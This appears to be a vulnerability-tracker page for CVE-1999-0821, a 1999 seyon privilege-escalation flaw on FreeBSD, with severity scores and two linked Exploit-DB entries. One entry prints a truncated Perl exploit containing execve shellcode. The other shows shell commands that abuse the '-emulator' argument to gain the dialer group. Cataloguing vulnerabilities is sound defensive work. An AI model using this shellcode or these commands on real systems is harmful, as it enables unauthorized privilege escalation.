CVE-1999-0821
published 1999-11-08CVE-1999-0821: FreeBSD seyon allows local users to gain privileges by providing a malicious program in the -emulator argument.
PriorityP415medium4.6CVSS 2.0
AVLACLAuNCPIPAP
EXPLOIT
EPSS
0.77%
50.9th percentile
FreeBSD seyon allows local users to gain privileges by providing a malicious program in the -emulator argument.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| freebsd | freebsd | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Seyon 2.1 rev. 4b i586-Linux (RedHat 4.0/5.1) - Local Overflow
exploitdb·2001-01-15
CVE-1999-0821 Seyon 2.1 rev. 4b i586-Linux (RedHat 4.0/5.1) - Local Overflow
Seyon 2.1 rev. 4b i586-Linux (RedHat 4.0/5.1) - Local Overflow
---
#!/usr/bin/perl
## (c) Copyright [email protected] / anno domani 2000
##
## Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux
## Tested on: RedHat 4.0/5.1
##
## Greets: scrippie, *@HWA, grazer, mixter, pr0ix, s\
## http://www.digit-labs.org/ || http://teleh0r.cjb.net/
$shellcode =
"\xeb\x1f". #/* jmp 0x1f */
"\x5e". #/* popl %esi */
"\x89\x76\x08". #/* movl %esi,0x8(%esi) */
"\x31\xc0". #/* xorl %eax,%eax */
"\x88\x46\x07". #/* movb %eax,0x7(%esi) */
"\x89\x46\x0c". #/* movl %eax,0xc(%esi) */
"\xb0\x0b". #/* movb $0xb,%al */
"\x89\xf3". #/* movl %esi,%ebx */
"\x8d\x4e\x08". #/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c". #/* leal 0xc(%esi),%edx */
"\xcd\x80". #/* int $0x80 */
"\x31\xdb". #/* xorl %ebx,%ebx */
"\x89\x
Exploit-DB
FreeBSD 3.3 - Seyon SetGID Dialer
exploitdb·1999-12-01
CVE-1999-0821 FreeBSD 3.3 - Seyon SetGID Dialer
FreeBSD 3.3 - Seyon SetGID Dialer
---
source: https://www.securityfocus.com/bid/838/info
FreeBSD 3.3-RELEASE ships with Seyon, a communications program which is known to have several vulnerabilities which can allow for a malicious user to elevate priviliges. The vulnerability, however, is that seyon is still installed setgid dialer in FreeBSD. When seyon is exploited, a local user can grant him/herself priviliges which allow access to the communications devices or anything else accessable by the group dialer.
One of the methods to exploit seyon is shown below:
bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c
bash-2.03$ gcc -o id id.c
bash-2.03$ seyon -emulator ./id
uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer), 1000(xnec)
No writeups or analysis indexed.
1999-11-08
Published